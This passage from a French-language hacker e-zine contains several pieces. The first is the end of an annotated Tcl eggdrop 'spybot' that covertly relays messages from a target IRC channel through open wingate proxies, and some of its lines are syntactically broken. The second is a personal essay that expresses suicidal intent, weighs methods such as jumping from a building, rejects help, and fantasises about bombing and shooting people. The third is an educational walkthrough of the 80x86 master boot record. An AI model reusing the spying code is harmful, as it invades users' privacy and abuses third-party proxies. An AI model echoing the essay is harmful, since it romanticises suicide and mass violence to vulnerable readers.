#le chan choisi       
       set wingate [lindex $triggers 3]
#le wingate (optionnelle), ne marquer rien apres le chan
#autre qu'un wingate sinon il va essayer de se connecter dessus
       set pwingate [lindex $triggers 4]
#le port du wingate,       
       if {$pipehost < 1} {
       set pipehost "london.uk.eu.undernet.org"
#ici javais un probleme de ligne vide dans le fichier server.txt
#afin de limiter les degats, jai ajouter ceci pour quil force
#le serveur lodon  si  jamais  il tombais sur la ligne vide
#vous pouvez bien sur remplasser par votre serveur preferer
       } else {
       if {$wingate > 0} {
#si il y a quelque chose dans la variable wingate       
       set sock [socket $wingate $pwingate]
#initiation du socket (on voit ici que le socket se gere
#dans une variable (comme en php) donc en gros, creer la
#variable sock qui ouvre un socket sur le wingate et sont port       
       putchan $chan "connected to wingate"
#question de savoir ou le code est rendu        
       fileevent $sock readable [list display_sock $sock $chan $pipenick $pipechan $pipehost $pipeport] 
#va lire la variable sock (referense a la procedure display_sock 
#(voir plus bas) et donne lui les variables ($sock $chan $pipenick, etc)
# parce qu'on va en avoir besoin dans cette procedure
       fconfigure $sock -buffering line 
       } else {
#si la variable wingate est a 0       
       set sock [socket $pipehost $pipeport]
#ouvre un socket sur la valeur de $pipehost et $pipeport
       putchan $chan "connected to $pipehost"       
#vous etes ici       
       fileevent $sock readable [list display_sock $sock $chan $pipenick $pipechan $pipehost $pipeport]
#passe a la procedure display_sock et mode lecture de la variable $sock
#qui correspond au contenu du socket
       fconfigure $sock -buffering line        
       } 
     }
   }
}
 
proc display_sock {sock chan pipenick pipechan pipehost pipeport} {
#la fameuse procedure display_sock
    set 1 [gets $sock]  
#met le contenu du socket dans la variable $1 
#pour quon puisse la modifier independament du socket (ouvert en lecture)
    if {[string match WinGate* $1]} {
#si tu recois la string Wingate>
       fileevent $sock writable [list wingate_connect $sock $pipehost $pipeport $chan]
#va a la procedur wingate_connect avec la variable
#$sock en mode ecriture
       } elseif {[string match  *NOTICE*AUTH*Looking*hostname* $1]} {
       fileevent $sock writable [list auth_sock $sock $chan $pipenick]
       } elseif {[string match PING* $1]} {
       fileevent $sock writable [list ping_sock $sock $1 $chan]
       } elseif {[string match *End*of*/MOTD* $1]} {
       fileevent $sock writable [list join_sock $sock $chan $pipechan]
#differente reconnaissance de string pour effectuer la connection
#elle renvoie a des procedure utilisant la variable
#$sock en mode ecriture (pour envouer du data)
       } elseif {[string match *PRIVMSG*$pipechan* $1]} {       
       set 1 [string trim $1 :]
       set 1 [string map {! " "} $1]
       set 2 [lindex $1 0]
       set 3 [lrange $1 4 end]
#epuration des string recu (afin de conserver que le 
#nescessaire pratique et estetique       
       putchan $chan "$2 $pipechan $3"
#afichage du chan que lon spy sur le chan dorigine(trier plus haut)       
       } elseif {[string match *$pipenick*$pipechan*:Cannot join channel(+l) $1]}
       fileevent $sock writable [list join_sock $sock $chan $pipechan]
#si le chan est +l (limite user) reessaye toi jusqua ce que tu entre
#en re referant a la procedur join_sock a chaque fois
       } elseif {[string match *Cannot*join*channel*]} {
       putchan $chan "cant reach channels"
       close $sock
#si pour une autre raison le spybot peu pas joindre le chan
#dit la raison et deconnect       
       } elseif {[string match *ERROR* $1]} {
       putchan $chan "disconnected"
       putchan $chan "$1 SUCKER'S"
#si irc envoie un message derreurs, reply le (on veut savoir :])
    }
}


proc wingate_connect {sock pipehost pipeport chan} {
    puts $sock "$pipehost $pipeport \r\n"
    putchan $chan "$pipehost $pipeport"
    fileevent $sock writable {}
#fermeture du $sock en ecriture 
}
#procedure a effectuer lors d'un pipe utilisant un wingate

proc auth_sock {sock chan pipenick} {
    set pipeuser "user Data x x :Mom's_on_the_run" 
    set pipenick "nick $pipenick"
    puts $sock "$pipeuser \r\n"
    puts $sock "$pipenick \r\n"
    putchan $chan "sending: $pipeuser $pipenick"
    fileevent $sock writable {}    
}    
#connection a irc typique (largement expliquer un peu partout
#je mabstiendrais donc de commenter :]

proc ping_sock {sock 1 chan} {
    set pipepong [string trim $1 PING ]
    set pong "PONG $pipepong"
    putchan $chan "$pong"
    puts $sock "$pong \r\n"
    fileevent $sock writable {}
}    
#idem 

proc join_sock {sock chan pipechan} {
    putchan $chan "joigning $pipechan"
    puts $sock "JOIN $pipechan \r\n"    
    fileevent $sock writable {}
}
#procedure pour joigner le chan a spyer
#reutiliser si le chan est en +l     

putlog "pipe1.0 by Wyzeman laoded"
#greet a moi meme


---------------------lazy uncut here-----------------------



en gros, les socket tcl sont plutot simple malgres que peu  utiliser  et 
peu doccumenter, je  crois  que  le  manque d'imagination et la lacheter 
sont les  2 principals facteur qui expliquerais se  phenomene.  J'ai  en  
tete  quelque  alternative  a ce code, que je vous ferez p-e par dans un 
article ulterieur de  Mindkind. J'ai ecris cette article afin de prouver 
que ce  la  limite  n'est  pas  nos  connaissance mais bien notre propre 
imagination.  Meme  avec  un  eggdrop  et  du  TCL on peu faire des truc 
interressant.




                                                                 Wyzeman

.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'





<init_null> Windows 98 supports real multitasking - it can boot and crash 
simultaneously.



                                                                  .--.
.----------------------------------------------------------------/  /--. 
|                                                               /  /   |
| nothing94's Pessimism                                        /  / 09 | 
|                                                             /  /     |  
'------------------------------------------------------------/  /------
                                                            /__/
 

Vous-tes  vous  dj  demand  si la vie vaut la peine  d'tre  vcue ? 
Vous-tes  vous  dj  demand  si  vos  actions  en valent la pine ? Et 
bien moi oui, depuis plusieurs mois, je me demande  ce  que je fais ici. 
Je me questionne sur la vritable ncessit de vivre. Je  ne russis pas 
 voir une vritable raison de vivre.  Alors,  je  m'enfonces  dans  les 
tnbres, j'en perd toute joie en la  vie.  Chaque  moment  est  pnible 
et  chaque  instant  est  une  remise  en  question. Le  seul  moyen d'y 
chapper est de trouver  un  divertissement  quelconque.  Mais  seul  le 
snowboard  peut  me  remmetre  de  bonne  humeur.  L't  est une longue 
et pnible preuve et l'hiver qubcois est toujours trop  court. Alors,
je sacre, j'encaisse,  ma  haine  accentue.  Mon  pessimisme  devient de 
plus en plus flagrant.  Mes  frquentations  sociales  se dtriorent et 
mon renfermement est devenu  mon  ennemi.  Je  suis  dans  une  impasse. 
Aurais-je  l'occasion  de  vous  faire  sauter  en  posant  des bombes ?
 J'espres que oui. Aurais-je la tentation de vous anantir  ?  Je  l'ai 
dj. Vous qui tes la race intelligente. Vous qui  tes  l'animal  dou 
de raison. Tout ceci n'est qu'hypocrisie,  car  vos  actions sont dignes 
des plus stupides.

Le suicide
Cette vie misrable me mne o ? Srieusement, les buts que je me  donne 
ne mnent nul part. Je m'aperois facilement que ma vie est  inutile, je 
ne suis qu'une entit qui agit sans savoir pourquoi il  agit. Cette  vie 
qui est la mienne n'est qu'une perte de temps en ralit.    quoi  sert 
de vivre pour devenir un programmeur ?J'ai bien beau  aimer  programmer, 
mais tout le temps perdu durant ces annes  d'apprentissage  et  tout le 
temps perdu  travailler pour accumuler du papier ne sert  rien. Le peu 
de plaisir que j'en retire est  tellement  minime  compar    toute  la 
mlancholie et la haine que ce  monde  me  procure. Toute la haine et la 
noiceur de ma  vision  me  semble  une  ternit. J'aurais le got de me 
procurer de l'armement militaire  et de vous mitrailler sans piti. Vous 
qui avez dtruis mes rves, vous  qui avez tuez mon me. Mais la mort ne 
serait en fait que vous  rendre  service. Je devrais dtruire votre  vie 
entire. Je devrais anantir les gens que vous aimez. Je devrais tuer la 
population qui  vous  entoure.  Plus  personne  ne  serait  l pour vous 
encourager,  vous  aimer  et vous parler.Que feriez-vous ? Tous vos buts 
seraient  anantis.  Toutes  vos ambitions se volatiliseraient. Pourquoi 
voudriez-vous vivre plus longtemps ? Je russierais  vous dtruire sans 
vous toucher le moindre cheveux. C'est en voyant toute cette noirceur en 
moi que je m'aperois que je suis ici pour rien. Je sais que je ne serai 
jamais content de cette socit, je sais que je  n'adopterai  jamais vos 
valeurs et vos traditions. Je sais que je  vous  dtesterai  jusqu'  ma 
mort tous autant que vous tes. Mais  une  autre embuche se pose dans ma 
vie. Si je vous dteste tous,  pourquoi je vie puisqu'un humain seul n'a 
aucune   raison   de   vivre.  Nous  vivons  pour  se  faire  fliciter, 
impressionner ou  bien  tout  simplement  se  faire  remarquer.  Prenons 
l'exemple de quelqu'un qui  joue dans un band, celui-ci aime jouer de la 
musique, mais si  personne n'est l pour l'couter et approuver ce qu'il 
fait, il se  lassera  puisqu'il  verra  que  a  ne  sert    rien. Sans 
entourage, l'estime de soi n'est rien. La vie perd alors son sens. Je ne 
veux  donc pas savoir votre avis sur ce que je fais et ce que je penses, 
ma vie  perd sa raison. Cette rflexion ne me laisse qu'un seul rsultat 
possible,  le  suicide  devient  le  seul remde  mes soucis. Une seule 
variable  peut  influencer  cela.  Je  me  demande  si  je dois vraiment 
attendre  plus tard ou bien me suicider tout de suite. Je me demande si 
je  devrais  laisser  des  mmoires  avant  de me tuer pour que les gens 
comprennent mon tat d'me. De toute manire,  les  gens  ne  pourraient 
comprendre  ce  que  je  ressens,  je  vois d'avance leur critique  mon 
gard. Ils ne peuvent pas comprendre. La meilleur  manire  de  me  tuer 
serait de sauter d'un building. a serait en quelque  sorte  un  dernier 
trip dfiant les lois de la physique avant de mourir. J'aurais le  temps 
de revoir ma vie dfiler, seulement SI les gens disent la  vrit sur la 
mort, car l'histoire du tunnel avec la lumire au bout  me semble tout  
fait stupide. Alors pourquoi croire les autres  histoires  concernant la 
mort ? Je  ne  veux  pas me suicider en me pendant ou  en  utlisant  des 
manires  inutiles  et  sans  but.  Un  saut de parachute sans parachute 
serait trs bien pour me suicider, mais je devrais suivre des  cours  et 
cela  serait  long,  mais  qui sait, peut-tre que j'opterai  pour cette 
mthode ventuellement. N'essayez surtout pas de "m'aider"    me sortir 
de cette impasse. Je ne ferais que me mettre en colre. Ne dites surtout 
pas que je suis malade mentalement, car, qu'est-ce  qui vous rend si sr 
que la vie est une bonne chose ? Respectez mes  choix.  Vous n'avez qu' 
me respecter. Laissez-moi agir comme bon  me  semble,  c'est ma vie, mon 
corps. De toute manire, ce corps  n'est  qu'un  module de communication 
s'affaiblissant de jour en jour.  Vous n'avez aucune raison d'avoir peur 
de ce qui se cache derrire  la  vie.  Vous  n'avez  aucune   raison  de 
vouloir me "sauver". Le jour o  je  me  tuerai,  vous  vous  direz  que 
c'tait mon choix et que c'est ce qui tait le mieux pour moi. 

L'ignorance est le plus beau cadeau  que  vous pouvez obtenir sur terre. 
Vaut mieux ne rien savoir que de voir du noir partout.

Compte-rendu de mes penses ngatives
  la  suite de mon texte sur le suicide, cette ide est venue me hanter 
durant plusieurs semaines. J'y ai approfondit mon point de  vue  sur  ce 
tabou que les gens craignent. J'en suis rendu au point  o  lorsque  les
gens autour de moi parle de situation o l'on pourrait  mourir,  je leur
dis tout bonnement qu'ils n'ont qu' me tuer. Ils peuvent ruiner ma  vie
si bon leur semble. S'il veulent arriver prs de moi  et  me  poignarder 
avec un couteau, bien ils n'ont qu' le faire. a ne  fera  que  soigner 
mes blessures et me librer de cette illusion. Les ralits de cette vie
me font de plus en plus vomir. Seul le temps peut soigner mes  blessures 
et je n'oses pas affronter le temps. Le temps gagne toujours.  Il est le
parfait combattant qui attend sa revenge. Alors, si  quelqu'un  veut  me 
tuer d'une quelconque manire, je lui donne ma vie. Mais pourquoi ne pas
me suicider ? Je ne sais pas, prsentement, je n'ai  pas de point de vue
objectif  sur   cette   question.  Lorsque  je  pense     me   suicider 
immdiatement, un  mlange de refus inconscient et de questionnement sur
la manire  utiliser  surgit  et  a finit que j'en perds le got aprs 
avoir labor mentalement diverses  faons de me tuer. Je ne sais pas si
 cet tat d'esprit va durer longtemps.  Peut-tre que je vais agir de la
sorte durant toute ma vie et qu'en fin de compte je vais avoir vcu bien
longtemps. Cependant, une chose est sure, je sens mes penses devenir de
plus en plus sombre. Ma haine envers le  monde accentue de jour en jour, 
minute  aprs  minute,  les  questionnements   auquels   je   m'affronte 
deviennent  de  plus  en  plus  insupportables.  J'en fini par ne plus y 
rpondre, j'en  reste moins dsappoint. J'ai beau essayer de rechercher 
la joie  ma manire, la noirceur me retrouve toujours. Vous est-il dj 
arriv de  pleurer en vous demandant ce que vous faites en ce monde ? Et 
bien moi  oui,  c'est  ce moment que ce penchant suicidaire a commenc. 
J'y ai  vu  que  la  vie  tait totalement inutile et j'y ai vu toute la 
haine refoule en moi depuis plusieurs annes. Les annes du secondaires 
sont la principale  cause  de cette haine. Chaque individu que je voyais 
me dgotait et  je  me  suis  referm  sur  moi-mme  avec   le  temps. 
Maintenant, je n'oses mme  plus  penser  ce que font les autres, a me 
dprime trop. Je ne me considre  pas comme un saint qui fait tout bien, 
mais je vois en vous du dgot.  Je  ne  suis  pas m eilleur. Je dteste 
votre mode de vie tout simplement. Je  vous dteste. Je vous dteste. Je 
vous dteste.

nothing94
http://nothing94.250x.com
icq 44643108
life is nothing                                                       



Wyzeman :  j'ai  pensee  longtemps  avant  d'accepter  de  publier cette 
article.  Jme  suis  demander  qu'est-ce  que ca allais portee de bon au 
Ezine, si ca n'entrais  pas  en conflit avec certaine ideologie personne
et/ou de mindkind. Car apres tout, ce n'est pas tres joyeux, ca pourrais
peu etre ainsiter du monde  a  faire  pareille,  et  ya aucune  "moral". 
Cependant, c'est une veritee qui nous touche, tres  particulierement  au
Quebec, Je doute que publier se text dans mindkind engendre un mouvement
gouvernemental ou social anti-suicide, mais ce n'est pas une excuse pour
faire l'autruche. Et dailleur la lecture  de  ce  text  ma rappeller les 
texts de F.U.C.K  (fucked up college kid, pour les incultes). Et puis le
ezine est  dejas  assez  gros  pour  que ca ne passe pas pour un article 
"bouchon".





.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'



<spyd> gcc fichier.c -o fichier.exe




                                                                  .--. 
.----------------------------------------------------------------/  /--. 
|                                                               /  /   |
|  Master boot record aka hit me harder master                 /  / 10 | 
|                                                             /  /     |  
'------------------------------------------------------------/  /------' 
                                                            /__/
Le MBR d'un 80x86

Le but de ce texte est d'exposer le fonctionnement d'un MBR standard et
de servir  de base  d'ventuels  articles sur des sujets connexes.  En 
fait, ce texte  couvre le dmarrage de l'ordinateur  80x86 et  s'arrte
avant le dmarrage du systme d'exploitation.


Lorsque  l'ordinateur  est mit sous  tension, le  processeur recoit  un 
courant  lectrique qui a pour effet de le rinitialiser. Ses registres
CS:IP  se  retrouvent alors  automatique  initialis  avec  les valeurs
0FFFFh:0000. Une brve dfinition des registres du processeur 80x86 est
prsent   la fin du texte.  Pour  l'instant, disons seulement  que le 
registre  CS (code segment)  est utilis comme  pointeur de base sur le 
code   excuter et  le registre  IP (instruction pointer)  est utilis 
comme offset (indice) sur  ce pointeur  de base.  Pour en  revenir  ce 
qui nous  intresse, l'adresse  0FFFFh:0000 est  l'adresse contenant le 
code du "POST" prsent dans le BIOS.  Le "POST" signifie "Power On Self
Test" et  a  pour  fonction  de  faire  l'initialisation  primaire  des 
priphriques  comme  la carte vido, priphriques  de  stockage, RAM, 
ROM, clavier... Une fois les registres du processeur pointant sur cette
partie de code, il commance immdiatement  excuter les  instructions.
 la  fin  de  toutes  ces  initialisations  se  trouve  les  premires 
commandes  permettant   d'entreprendre   le   chargement   du   systme 
d'exploitation.  Si aucune  erreur ne s'est produite, le code recherche
quel priphriques de stockage utiliser pour continuer le dmarrage. Il
initialise par la suite  le registre DL avec le numro de  priphrique 
et gnre int 19h.  Un int ou "interrupt" est une srie de  fonction de 
bas niveau.  Un int  est gnralement accompagn de paramtres, dans ce 
cas si  dpos  dans le registre DL.  Un int 19h,  fonction  du BIOS, a 
pour effet de charger  en mmoire    l'adresse 0000:7C00h  le  premier 
secteur physique (secteur 1, cylindre 0, tte 0) de l'unit de stockage
dsign en paramtres.  L'ordre suivi par le BIOS pour dterminer  quel
unit utiliser est dtermin  par  la  configuration tablie sur chaque
systme (ex : A:, C: ..).  Si l'unit de stockage choisi  est un disque 
dur, le premier secteur mit en  mmoire sera le MBR tandis que pour une
disquette,  ce sera le "boot sector".  Le  MBR  a  pour unique tche de 
dterminer  quel disque donner le contrle pour  dmarrer  un  systme 
d'exploitation tandis que le boot  sector  est  de  dmmarer ce systme 
d'exploitation.  Rapidement, on peut conclure qu'un disque contient un 
seul MBR au tout premier secteur physique mais peut par contre contenir
plusieurs boot sector, i.e un sur chacun des  premiers  secteur logique 
de  chaque  partition.  Dans  le  cas d'une disquette, elle ne contient 
aucun  MBR puisqu'elle  ne peut-tre partitionn et contient videmment 
qu'un seul boot sector utilis pour dmarrer le systme d'exploitation. 

Pendant tout ce temps, le BIOS n'a aucune notion de ce qu'il  a  charg 
en mmoire.  Par contre, dans  les deux cas possibles il vrifie que le
secteur charg sois bien termin par  deux  octets  possdant la valeur
55AAh i.e  l'offset 1FEh.  Ces  deux  octets  servent  de signature au 
secteur et permettent de s'assurer qu'il est bien  un  BS  ou  un  MBR.
Si  vous modifier cette  signature pour "00 00", vous aurez un  message
semblable : "Boot Record Signature 55AA Not Found, 0000 Found".  Par la
suite, si tout est valide le BIOS saute  l'adresse  0000:7C00h  et  le 
processeur dbute l'excution des  instructions  du  MBR appel "master 
bootstrap loader code".  

Voici la strucure du MBR:

 l'offset	Taille		Description
-----------------------------------------------------------------------	
00h 		446 octets	master bootstrap loader code
1BEh 		16 octets	enregistrement pour la partition 1
1CEh 		16 octets	enregistrement pour la partition 2
1DEh 		16 octets	enregistrement pour la partition 3
1EEh 		16 octets	enregistrement pour la partition 4
1FEh		2 octets	a la valeur 55AAh si le MBR est valide


En regardant le tableau prcdant, on remarque  quatres enregistrements
constituants la table de  partition.  La  table  de  partition  est  un 
tableau de quatre enregistrements  chacun  contenant  dix  informations 
spcifiques  chaque  partition  primaire.  Chacun  des  enregistrement 
dbute  respectivement   l'offset 1BEh, 1CEh, 1DEh, 1FEh.  Le  tableau 
suivant dcrit les champs prsents dans une table de partition.

 l'offset	Taille		Description
-----------------------------------------------------------------------
00h		octet		dtermine si la partition doit tre 
				utilis pour booter (80h=oui 00h=non)
01h		octet		tte de dpart
02h		6 bits		secteur de dpart
03h		10bits		cylindre de dpart
04h		octet		type de volume
05h		octet		tte de fin
06h		6bit		secteur de fin
07h		10bits		cylindre de fin
08h		dword		nombre de secteur avant la partition
12h		dword		taille de la partition en secteur

Voici  titre "extrmement" informatif uniquement une liste de valeur
pour le type de volume:

 00h	empty
 01h	DOS 12-bit FAT
 02h	XENIX root file system
 03h	XENIX /usr file system (obsolete)
 04h	DOS 16-bit FAT (up to 32M)
 05h	DOS 3.3+ extended partition
 06h	DOS 3.31+ Large File System (16-bit FAT, over 32M)
 07h	QNX
 07h	OS/2 HPFS
 07h	Windows NT NTFS
 07h	Advanced Unix
 08h	AIX bootable partition, SplitDrive
 09h	AIX data partition
 09h	Coherent filesystem
 0Ah	OS/2 Boot Manager
 0Ah	OPUS
 0Ah	Coherent swap partition
 10h	OPUS
 11h	OS/2 Boot Manager hidden 12-bit FAT partition
 12h	Compaq Diagnostics partition
 14h	(resulted from using Novell DOS 7.0 FDISK to delete Linux Native part)
 14h	OS/2 Boot Manager hidden sub-32M 16-bit FAT partition
 16h	OS/2 Boot Manager hidden over-32M 16-bit FAT partition
 17h	OS/2 Boot Manager hidden HPFS partition
 18h	AST special Windows swap file
 24h	NEC MS-DOS 3.x
 3Ch	PowerQuest PartitionMagic recovery partition
 40h	VENIX 80286
 42h	SFS (Secure File System) by Peter Gutmann
 50h	Disk Manager, read-only partition
 51h	Disk Manager, read/write partition
 51h	Novell???
 52h	CP/M
 52h	Microport System V/386
 56h	GoldenBow VFeature
 61h	SpeedStor
 63h	Unix SysV/386, 386/ix
 63h	Mach, MtXinu BSD 4.3 on Mach
 63h	GNU HURD
 64h	Novell NetWare
 65h	Novell NetWare (3.11)
 70h	DiskSecure Multi-Boot
 75h	PC/IX
 80h	Minix v1.1 - 1.4a
 81h	Minix v1.4b+
 81h	Linux
 81h	Mitac Advanced Disk Manager
 82h	Linux Swap partition
 83h	Linux native file system (ext2fs/xiafs)
 84h	OS/2-renumbered type 04h partition (related to hiding DOS C: drive)
 93h	Amoeba file system
 94h	Amoeba bad block table
 A5h	FreeBSD, BSD/386
 B7h	BSDI file system (secondarily swap)
 B8h	BSDI swap partition (secondarily file system)
 C1h	DR DOS 6.0 LOGIN.EXE-secured 12-bit FAT partition
 C4h	DR DOS 6.0 LOGIN.EXE-secured 16-bit FAT partition
 C6h	DR DOS 6.0 LOGIN.EXE-secured Huge partition
 C7h	Syrinx Boot
 DBh	CP/M, Concurrent CP/M, Concurrent DOS
 DBh	CTOS (Convergent Technologies OS)
 E1h	SpeedStor 12-bit FAT extended partition
 E3h	DOS read-only
 E4h	SpeedStor 16-bit FAT extended partition
 F2h	DOS 3.3+ secondary
 F4h	SpeedStor
 FEh	LANstep
 FFh	Xenix bad block table


Toute  ces  informations, contenu dans la  table  de  partition  seront
utilises ultrieurement lors de  l'excution du MBR pour dterminer o
se retrouve le boot sector  charg en mmoire.

Lorsque vous installer un boot loader (XOSL par exemple), il modifie le
MBR plus  particulirement  le  "master bootstrap loader code" pour lui
permettre de prendre le contrle au dmarrage  et d'afficher un choix 
l'utilisateur.  Si vous n'avez pas  de boot loader, le  code  vrifiera 
pour trouver la partition  active.  Avec  les  informations  concernant 
cette partition, le code mettra en mmoire le premier  secteur  logique
(BS) et transfrera le contrle  cette adresse, le processeur dbutant
immdiatement  l'excution  du code  du  BS.  Si  vous trouver utile de 
savoir ce que fait concrtement le MBR continuer  lire.


Voici le master bootstrap loader code d'un de mes disque dur  sans boot
loader.  Par contre, il se peut que le votre diffre lgrement.

					      On dplace le code
					      ailleur puisque l'on
					      veut charger le BS
					       l'adresse o nous
					      sommes prsentement

0000:7C00 FA          CLI                     Empche les interruptions
0000:7C01 33C0        XOR     AX,AX           Stack segment  0000
0000:7C03 8ED0        MOV     SS,AX		
0000:7C05 BC007C      MOV     SP,7C00         Stack pointer  7c00
0000:7C08 8BF4        MOV     SI,SP           SI  7c00
0000:7C0A 50          PUSH    AX
0000:7C0B 07          POP     ES              
0000:7C0C 50          PUSH    AX
0000:7C0D 1F          POP     DS              
0000:7C0E FB          STI                     Remet les interruptions
0000:7C0F FC          CLD                     Clear direction
0000:7C10 BF0006      MOV     DI,0600         Destiny index pointer 
					      (o on va copier le mbr)
0000:7C13 B90001      MOV     CX,0100         on dplacera 256 mots 
					      (512 octets)
0000:7C16 F3A5        REP MOVSB               dplace le MBR de 
					      0000:7c00  0000:0600
0000:7C18 EA1D060000  JMP     0000:061D       jmp to NOUVEL_EMPLACEMENT

NOUVEL_EMPLACEMENT:                     	maintenant  0000:0600

0000:061D BEBE07      MOV     SI,07BE           source index register 
						la premire entre de 
						la table de partition
0000:0620 B304        MOV     BL,04             compteur pour 4 T. de P.

LOOP1:                        			recherche une partition
						valide

0000:0622 803C80      CMP     BYTE PTR [SI],80  est-ce la partition
						active?
0000:0625 740E        JZ      PARTACTIVE_TROUVE oui
0000:0627 803C00      CMP     BYTE PTR [SI],00  sinon, est-ce une 
						partition inactive?
0000:062A 751C        JNZ     PARTNON_ACTIVE    oui
0000:062C 83C610      ADD     SI,+10            SI pointe sur le prochain
						enregistrement
0000:062F FECB        DEC     BL                dcrmente le compteur
0000:0631 75EF        JNZ     LOOP1      	recommence si on a pas
						atteind la dernire entre
0000:0633 CD18        INT     18                si on a atteind la dernire
						et aucune partition n'est
						active, goto rombasic

PARTACTIVE_TROUVE:                		on a trouv la partition
						active

0000:0635 8B14        MOV     DX,[SI]           initialise DH/DL pour 
						l'INT 13 DH=tte 
						DL=numro de disque
0000:0637 8B4C02      MOV     CX,[SI+02]        initialise CH/CL pour
						l'INT 13 CH=numro de
						cylindre CL=numro de
						secteur
0000:063A 8BEE        MOV     BP,SI             sauvegarde le pointeur
						de la partition

LOOP2:                        			On s'assure qu'il n'y
						a qu'une partition active

0000:063C 83C610      ADD     SI,+10            SI pointe sur le prochain
						enregistrement
0000:063F FECB        DEC     BL                dcrmente le compteur
0000:0641 741A        JZ      LIRE_BOOT_SECTOR  une seule partition active
						a t trouv parmis les 
						quatres, commence le boot
0000:0643 803C00      CMP     BYTE PTR [SI],00  est-ce une partition inactive?
0000:0646 74F4        JZ      LOOP2      	oui, donc continue

PARTNON_ACTIVE:                  		la partition n'tait pas une
						partition inactive, affiche
						un message

0000:0648 BE8B06      MOV     SI,068B           met l'adresse du message dans si

AFFICHE_MSG:                        		FONCTION POUR AFFICHER UN MSG
						(SI POINTE SUR LE MSG)

0000:064B AC          LODSB                     charge le premier caractre
						du message dans ax
0000:064C 3C00        CMP     AL,00             dtermine si on est au
						caractre \0 (fin du message)
0000:064E 740B        JZ      STOP              oui
0000:0650 56          PUSH    SI                sauvegarde SI
0000:0651 BB0700      MOV     BX,0007           option d'affichage 
						(BH video page, BL color to use)
0000:0654 B40E        MOV     AH,0E             fonction 0e (affiche 1 caractre)
0000:0656 CD10        INT     10                interupt 10 (bios) 
0000:0658 5E          POP     SI                restaure SI
0000:0659 EBF0        JMP     AFFICHE_MSG       affiche la prochaine lettre du message

STOP:                        

0000:065B EBFE        JMP     STOP              boucle infini

LIRE_BOOT_SECTOR:                    		lit le boot sector de la partition 
						active

0000:065D BF0500      MOV     DI,0005           on essaira de lire 5 fois

INT13RETRY:                        

0000:0660 BB007C      MOV     BX,7C00		destination de la lecture
0000:0663 B80102      MOV     AX,0201           lit un secteur  l'adresse SI 
						ah=2h (fonction 2 du int 13)
						al=1h (quantit) 
0000:0666 57          PUSH    DI                sauvegarde DI
0000:0667 CD13        INT     13                lit le secteur  0000:7c00
0000:0669 5F          POP     DI                restaure DI
0000:066A 730C        JNB     INT13OK           si il y a eu erreur
0000:066C 33C0        XOR     AX,AX             AX=0
0000:066E CD13        INT     13                rinitialise le disque 
						(int 13h fonction 0h)
0000:0670 4F          DEC     DI                dcrmente DI
0000:0671 75ED        JNZ     INT13RETRY        recommence si DI diffrent de 0
0000:0673 BEA306      MOV     SI,06A3           on a pas russi  loader le boot
						sector SI pointe  l'adresse du
						message d'erreur
0000:0676 EBD3        JMP     AFFICHE_MSG       affiche le message

INT13OK:                        

0000:0678 BEC206      MOV     SI,06C2              message d'erreur
0000:067B BFFE7D      MOV     DI,7DFE              pointe sur la signature
0000:067E 813D55AA    CMP     WORD PTR [DI],AA55   est-elle quivalente  55AAh ??
0000:0682 75C7        JNZ     AFFICHE_MSG          non, on affiche le message
						   ( boot sector not valid.. )
0000:0684 8BF5        MOV     SI,BP                sinon, 
0000:0686 EA007C0000  JMP     0000:7C00            transfre le contrle au boot
						   sector de la partition active,
						   SI pointe sur l'enregistrement
						   correspondant dans la table de
						   partition 


Et le boot sector dbute le chargement du systme d'exploitation...


Si vous tiez compltement perdu dans ce code peut-tre devriez-vous
lire quelques peu sur le langage d'assemblage.  Un mot trs rapide 
sur le langage d'assemblage pour les non-initi:

Les registres (16-bit uniquement) utilis dans notre code: 
Leur nom et utilit:
 
 AX Accumulator
 BX Base register
 CX Counting register
 DX Data register
 DS Data segment register
 ES Extra segment register
 SS Battery segment register
 CS Code segment register
 BP Base pointers register
 SI Source index register
 DI Destiny index register
 SP Battery pointer register
 IP Next instruction pointer register
 F  Flag register

Certains registres dont AX, BX, CX, DX  peuvent  tre  spar  en  deux
parties: les bits du haut et ceux  du bas.  La partie du haut de AX se
nomme AH et la partie du bas AL (High et Low).  De cette faon, on peut
manipuler un octet  la fois.

Des instructions... :

MOV:
dplace une valeur dans un oprande
ex: MOV AX, 80h <- met 80h dans le registre AX

DEC:
dcrmente de 1 l'oprande
ex: DEC AX

JXX:
instruction JUMP.  
JMP: jump inconditionel (on saute  l'adresse dans tous les cas)
JNZ: jump not zero
JZ: jump zero

INT: 
une interruption.  Il existe quatre types d'interruption:  
Hardware Interne (CPU)
Hardware Externe (clavier, imprimante..)
Software (BIOS et OS)

Les INT utilis dans le MBR sont des interruptions logiciels  du  BIOS.
Ces interruptions sont  des  fonctions  mis  notre disposition par le 
BIOS.  Les interruptions sont spar en catgories.
Certaines interruptions du BIOS par exemple:

Int 10H: Video
Int 16H: Clavier
Int 17H: Imprimante 

Chaque interruption regroupe plusieurs fonction.  Pour Int 16h:

00H lit un caractre du clavier
01H lit l'tat du clavier

Pour utiliser  une  fonction on initialise  ah  avec  le  numro  de la
fonction et appele l'interruption.
ex:

mov ah, 00h
int 16h

Note: On doit souvent mettre d'autre paramtre dans d'autre registre.

XOR:
ou exclusif (bit  bit)

XOR AX,BX met le rsultat dans AX
XOR AX,AX donne videmment toujours 0.


POP et PUSH (oprateur de la pile systme).

PUSH: met une valeur sur la pile systme
POP: met la premire valeur sur la pile systme dans l'oprande

ex:

mov AX, 1h
push AX
pop BX

BX sera gal  1h et  AX :) 


J'espre que ce cours texte vous aura t utile.

Orange_



.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'






<init_null> fuck yon mit 2 Evil-Mindkind-Monk dans mon winamp. jpense ma 
virer au drogues dures.




                                                                  .--.
.----------------------------------------------------------------/  /--. 
| la meilleur facon d'imposer une idee aux autres,              /  /   |
| c'est de leur faire croire qu'elle vient d'eux meme          /  / 11 | 
| aka jasmine , c'a serait bien le fun que tu me passe le sel /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'
				     
      Cette article n'est que pure fabulation, alors  si  quelqu'un  ici
a cru qu'il sagissait, d'un moyen infaillible en 12 etape de realiser un 
mind overflow pour prendre le controle de sa  victime,  et  d'allee  lui 
faire vous donnez le # de sont compte de banque, vous  etes dans lerreur
si vous etes en train de lire cette article parce que vous ete en manque
d'article car mindkind 05 n'est pas sortie  aujourdhui  comme  prevue et 
que vous vous souveniez  d'un  article qui vous rappellais quelque chose 
sans y avoir vraiment compris  quelque  chose  de concret, vous etes p-e 
alors dans le bon article.



